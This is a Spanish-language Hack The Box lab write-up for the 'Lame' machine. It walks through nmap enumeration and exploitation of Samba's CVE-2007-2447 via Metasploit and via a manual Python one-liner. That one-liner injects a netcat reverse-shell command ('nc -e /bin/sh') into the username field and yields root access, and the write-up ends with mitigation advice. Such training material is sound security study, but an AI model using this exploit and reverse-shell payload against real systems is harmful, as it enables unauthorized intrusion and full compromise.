HTB - Lame
Lame es la primera máquina de Hack The Box y un clásico para empezar: un
servicio Samba desactualizado permite ejecución remota de comandos
directamente como root, sin necesidad de escalada de privilegios.
Ficha de la máquina
| Campo | Valor |
|---|---|
| Nombre | Lame |
| SO | Linux (Ubuntu) |
| Dificultad | Easy |
| IP | 10.10.10.3 |
| Foothold | Samba usermap_script (CVE-2007-2447) |
| Privesc | No requerida — RCE directo como root |
| Técnicas clave | Enumeración con nmap, explotación de Samba |
Las IPs y flags de este write-up son de ejemplo. No se publican flags reales: HTB no permite compartir flags ni write-ups de máquinas activas.
Reconocimiento
Empezamos con un escaneo completo de puertos y detección de versiones.
1
nmap -sC -sV -p- --min-rate 5000 -oN nmap/lame.txt 10.10.10.3
Resultado relevante:
1
2
3
4
5
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian
La versión Samba 3.0.20 es la pista clave: es vulnerable a CVE-2007-2447 (
usermap_script), que permite inyección de comandos en el campo de usuario durante la autenticación.
Cadena de ataque
flowchart LR
A[nmap<br/>escaneo de puertos] --> B[Samba 3.0.20<br/>en 139/445]
B --> C[CVE-2007-2447<br/>usermap_script]
C --> D[Inyección de comando<br/>en el campo usuario]
D --> E[Shell como root]
Explotación
La vulnerabilidad reside en cómo Samba pasa el nombre de usuario al script
definido en username map script. Metacaracteres de shell en el nombre de
usuario se ejecutan en el servidor.
Opción A — Metasploit
1
2
3
4
5
msfconsole -q
use exploit/multi/samba/usermap_script
set RHOSTS 10.10.10.3
set LHOST tun0
run
Opción B — Manual (sin Metasploit)
Se puede reproducir a mano con la librería de Samba de Python, inyectando el payload en el campo de usuario:
1
2
3
4
5
6
python3 -c '
from smb.SMBConnection import SMBConnection
payload = "/=`nohup nc -e /bin/sh 10.10.14.5 4444`"
conn = SMBConnection(payload, "", "", "")
conn.connect("10.10.10.3", 445)
'
Script completo del PoC:
exploit_lame.py. Solo para uso en entornos autorizados.
Con un listener a la escucha recibimos la conexión:
1
nc -lvnp 4444
Demostración
El shell entrante ya es
root. Por eso Lame es tan didáctica: no hay fase de escalada de privilegios, la RCE es directa contra el proceso de Samba que corre como superusuario.
Post-explotación
1
2
id
# uid=0(root) gid=0(root)
Spoiler — dónde están las flags
La flag de usuario está en el home del usuario `makis` (/home/makis/user.txt) y la de root en
/root/root.txt. No se incluyen aquí sus valores.
Mitigación
- Actualizar Samba a una versión parcheada (posterior a 3.0.25rc3).
- No exponer los puertos 139/445 a redes no confiables.
- Restringir
username map scripto deshabilitarlo si no se usa.
